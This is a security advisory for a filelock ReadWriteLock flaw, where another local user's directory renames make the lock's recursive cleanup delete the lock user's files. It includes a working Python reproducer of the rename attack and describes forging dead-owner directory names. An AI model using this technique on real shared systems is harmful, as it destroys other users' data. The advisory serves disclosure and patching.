Medium

filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name

  • Disclosed: 23.10.2026
  • Updated: 24.10.2026 02:17

ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) remove their private .filelock-* link directories with shutil.rmtree (a recursive delete) on a remembered path. They do not check that the path still names the directory they created. This happens on the hard-link route (a hard link is a second name for the same file). That route is every connection on macOS since 4.1.1 and any POSIX process without a usable /proc/self/fd (a Linux path that names the process's own open files), such as a chroot or container that does not mount /proc.

Another local user who can rename entries in the directory that holds the lock database can rename one of the directories of the user running the lock (below: the lock user) onto the link directory's name, or onto a forged dead-holder name. Such a lock directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The lock user's process then deletes that tree and everything in it with the lock user's permissions, and reports no error. Stock Linux with /proc mounted is not affected. Affected versions are filelock 4.1.0 through 4.2.0.

Anthropic's OSS Scanner reported this in private as ANT-2026-LSSZIUEO [high, CWE-367]: ReadWriteLock deletes any directory another user renames to .filelock-*.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L scores 6.1 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): two rename calls and no race against filelock's own code. I:H (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. A:L (partial availability loss): the Python 3.11 RecursionError variant makes the lock user's first lock construction fail. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.

Classification from the external review: conditional security, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with /proc hidden rather than on a run on macOS, and narrows the finding to that precondition and route.

Scope and preconditions

  • The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a 0777 directory, or a group-writable one (in a setgid 2775 directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a 0700 directory of the lock user.
  • Sticky directories (/tmp itself, any 1777 directory) stop the release variant: the rename of an entry owned by the lock user fails with EPERM. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 RecursionError variant also works in a sticky directory.
  • Platform and route. The lock user must connect through the private hard link. That is every ReadWriteLock or AsyncReadWriteLock on macOS (since 4.1.1, #820), or a POSIX process whose /proc/self/fd/<n> (/dev/fd/<n> elsewhere) does not exist, such as a chroot or container without /proc. Linux with /proc mounted connects through the descriptor and creates no .filelock-* directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the descriptor_usable branch at line 984 and docs/how-to.rst. The reproducer runs the same Python code on Linux with /proc hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.
  • Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a 0700 directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask 002) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.
  • Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.

Affected code

At the scanned commit b831496b0273: _ForkSafeConnection.close runs shutil.rmtree on the remembered mkdtemp path. The path comes from retain_until_close, set on the link route in _connect_through_descriptor, where descriptor_usable is False on macOS. Three more rmtree sites sit in _link_beside (lines 1023 and 1026) and the connect's finally (line 1011). The fifth is in _sweep_links_of_the_dead, with the name parser _owner_is_gone and _link_prefix.

Introduced

The link directory moved beside the database in 015d27c ("fix(read-write): reject WAL databases and link beside the db (#805)"), and the dead-owner sweep came with df06bbd (#815). Both were first released in 4.1.0 (verified: git tag --contains gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in TMPDIR). macOS takes the link route for every connection since 5fd0c8f (#820), first released in 4.1.1 (verified).

Mechanism

When the lock connects through its private hard link, it disposes of .filelock-* directories with shutil.rmtree on a path. Nothing ties that path to the directory filelock created. mkdtemp makes the name unpredictable and the directory 0700. The name is in the parent's listing as soon as it exists (ls -a), and renaming it needs write permission on the parent only. 0700 keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.

On release. A connection lives for one acquisition: _open_for_acquisition opens it and release() reaches close through _release and _finish_connection. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds write_lock() on /tmp/shared-cache/cache.db, the directory lists .filelock-<pid>--<host digest>-<random>/ (0700, owned by the lock user, containing lock.db). The other user runs two renames: that directory to moved-aside, then victim_project (a 0700 directory of the lock user with notes.txt inside) onto the link directory's name. When the lock user leaves the with block, rmtree deletes victim_project and everything in it with the lock user's permissions, and the process exits with status 0. moved-aside/lock.db, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (ReadWriteLock.__init__ opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.

In the dead-owner sweep. _link_beside calls _sweep_links_of_the_dead(parent) once per process and parent directory before mkdtemp. The first connect of every process on the link route runs it, the validation connection included. It runs rmtree on every .filelock-* directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only lock.db. _owner_is_gone splits the name after .filelock- into pid, start, digest (a hash of the host name) and a suffix. It returns digest == _host_digest(host) and owner_is_stale(pid, host, start or None).

The other user can forge every field. Take .filelock-2147483647--<digest>-x. pid is the largest value the #821 range check accepts and above the PID limit of Linux and macOS, so process_alive gets ESRCH from os.kill(pid, 0); the PID of any exited process, such as a child the other user just reaped, passes as well. start is empty, which the parser accepts because _link_prefix writes an empty field when it has no start token; with no token and a dead PID owner_is_stale returns True. digest is sha256(host_name())[:16]. host_name() adds a PID-namespace tag only when /proc/self/ns/pid is readable, which it is not on macOS or without /proc, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.

One rename("victim_project", ".filelock-2147483647--<digest>-x") at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.

The sweep's rmtree has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where shutil.rmtree recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a 1777 directory, with 1500 nested subdirectories inside. The first ReadWriteLock(...) a lock user process on the link route constructs there raises RecursionError, which the suppress(OSError) at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.

Reproduction

The scanner's reproducer for ANT-2026-LSSZIUEO, quoted as received. It ran against commit b831496b0273.

repro

python
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys

shared = "/tmp/shared-cache"
project = f"{shared}/victim_project"

# ReadWriteLock takes the hard-link route (.filelock-* directory beside the database) on macOS, and elsewhere when
# /proc/self/fd/<n> is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route.
os.unshare(os.CLONE_NEWNS)
subprocess.run(["mount", "--make-rprivate", "/"], check=True)
subprocess.run(["mount", "-t", "tmpfs", "tmpfs", "/proc"], check=True)

# set up: a shared directory without the sticky bit, holding the victim's private tree
shutil.rmtree(shared, ignore_errors=True)
os.mkdir(shared)
os.chmod(shared, 0o777)
os.mkdir(project, 0o700)
with open(f"{project}/notes.txt", "w") as notes_file:
    notes_file.write("victim data\n")
shutil.chown(f"{project}/notes.txt", "victim", "victim")
shutil.chown(project, "victim", "victim")

rm = subprocess.run(["runuser", "-u", "attacker", "--", "rm", "-rf", project], capture_output=True, text=True)
print("attacker runs rm -rf on the victim's tree:", rm.stderr.strip())
assert os.path.exists(f"{project}/notes.txt"), "setup: the attacker could delete the tree without filelock"

# the victim takes the write lock and stays in its critical section
victim = subprocess.Popen(
    ["runuser", "-u", "victim", "--", sys.executable, "/tmp/repro.d/victim_hold_write_lock.py"],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    text=True,
)
assert victim.stdout.readline() == "holding the write lock\n", "setup: the victim did not take the lock"
print("while the victim holds the lock:", sorted(os.listdir(shared)))

# attack
subprocess.run(["runuser", "-u", "attacker", "--", sys.executable, "/tmp/repro.d/attacker_swap_link_dir.py"], check=True)
link_dir = next(name for name in os.listdir(shared) if name.startswith(".filelock-"))
notes = f"{shared}/{link_dir}/notes.txt"
print("after the attacker's renames:", sorted(os.listdir(shared)))
print(f"{notes} exists:", os.path.exists(notes))
assert os.path.exists(notes), "setup: the attacker's renames did not happen"

# the victim leaves its with block
victim.communicate("\n", timeout=30)
print("victim exit status:", victim.returncode)
print("after the release:", sorted(os.listdir(shared)))
print(f"{notes} exists:", os.path.exists(notes))

# check: releasing a lock must not delete the victim's files
print("BUG" if not os.path.exists(notes) else "OK")

repro.d/attacker_swap_link_dir.py

python
import os

shared = "/tmp/shared-cache"

# both directories are 0700 and owned by victim; renaming them needs write permission on the parent only
link_dir = next(name for name in os.listdir(shared) if name.startswith(".filelock-"))
os.rename(f"{shared}/{link_dir}", f"{shared}/moved-aside")
os.rename(f"{shared}/victim_project", f"{shared}/{link_dir}")

repro.d/victim_hold_write_lock.py

python
import sys

from filelock import ReadWriteLock

lock = ReadWriteLock("/tmp/shared-cache/cache.db")
with lock.write_lock():
    print("holding the write lock", flush=True)
    sys.stdin.readline()  # stands for the work the lock protects; it ends when repro sends a line

Attack sequence

mermaid
sequenceDiagram
    participant A as other local user
    participant V as lock user's process (link route)
    participant K as filesystem (parent 0777, no sticky bit)
    rect rgb(255, 214, 214)
        Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc
        V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db
        V->>K: BEGIN EXCLUSIVE, write lock held
        A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside)
        A->>K: rename(victim_project, .filelock-PID--DIGEST-XXXX)
        V->>K: release() calls shutil.rmtree(".filelock-PID--DIGEST-XXXX")
        Note over V,K: victim_project and notes.txt are gone, exit status 0, moved-aside/lock.db stays
        A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x)
        V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one
    end

Evidence

The scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over /proc for itself and its children (the only non-default condition, standing in for macOS). It creates /tmp/shared-cache (0777, no sticky bit) with victim_project/notes.txt (0700, owned by victim), shows that rm -rf on that tree as attacker fails with Permission denied, runs the victim program (ReadWriteLock("/tmp/shared-cache/cache.db") + with lock.write_lock():) and the attacker renames, then lets the victim program release. Expected output on the scanned commit:

attacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victim_project': Permission denied
while the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'victim_project']
after the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'moved-aside']
/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: True
victim exit status: 0
after the release: ['cache.db', 'moved-aside']
/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: False
BUG

The scanner showed the sweep variant by hand with the same setup and no lock held. As attacker, one rename of victim_project to .filelock-2147483647--<digest>-x with <digest> = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16], then ReadWriteLock("/tmp/shared-cache/cache.db") as victim with /proc hidden. notes.txt is gone after the constructor returns and the directory contains only cache.db.

Our verification: BUG on b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head: OK; the listing after the release is ['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside'], notes.txt exists: True, and the victim program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the descriptor_usable branch and the identical code after it.

Impact

The other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two rename calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.

It is not reachable on stock Linux with /proc mounted at 4.2.0. The release variant is not reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived .filelock-* directory rather than the database, and the redirected operation is a recursive delete.

Workarounds

  • On macOS, and on any POSIX system where /proc/self/fd is unavailable, keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory.
  • Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database.
  • On Linux with /proc mounted, 4.2.0 does not take the link route and needs no workaround for this finding.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/834

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273)
  • 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it
  • 2026-10-16 01:15 UTC: fix PR #834 opened

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) filelock >= 4.1.0, < 4.2.1 4.2.1

References

CVSS score 6.1/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness (CWE)
CWE-367
Platform
Python (PyPI)
Package
filelock
Disclosed
23.10.2026
Updated
24.10.2026 02:17

Sources and licenses

OSV / GitHub Advisory Database - GHSA-jqc4-5cvw-7w85 - CC BY 4.0

Vulnerability history: filelock

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
7
First → latest
12.2025 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Medium 5
  • Low 2

Disclosures per year

  1. 2025: 1
  2. 2026: 6
  1. filelock: ReadWriteLock on the hard-link route deletes any directory another user renames onto its .filelock-* link directory name this entry
    Medium · 6.1 CVE-2026-112937 >= 4.1.0, < 4.2.1 4.2.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.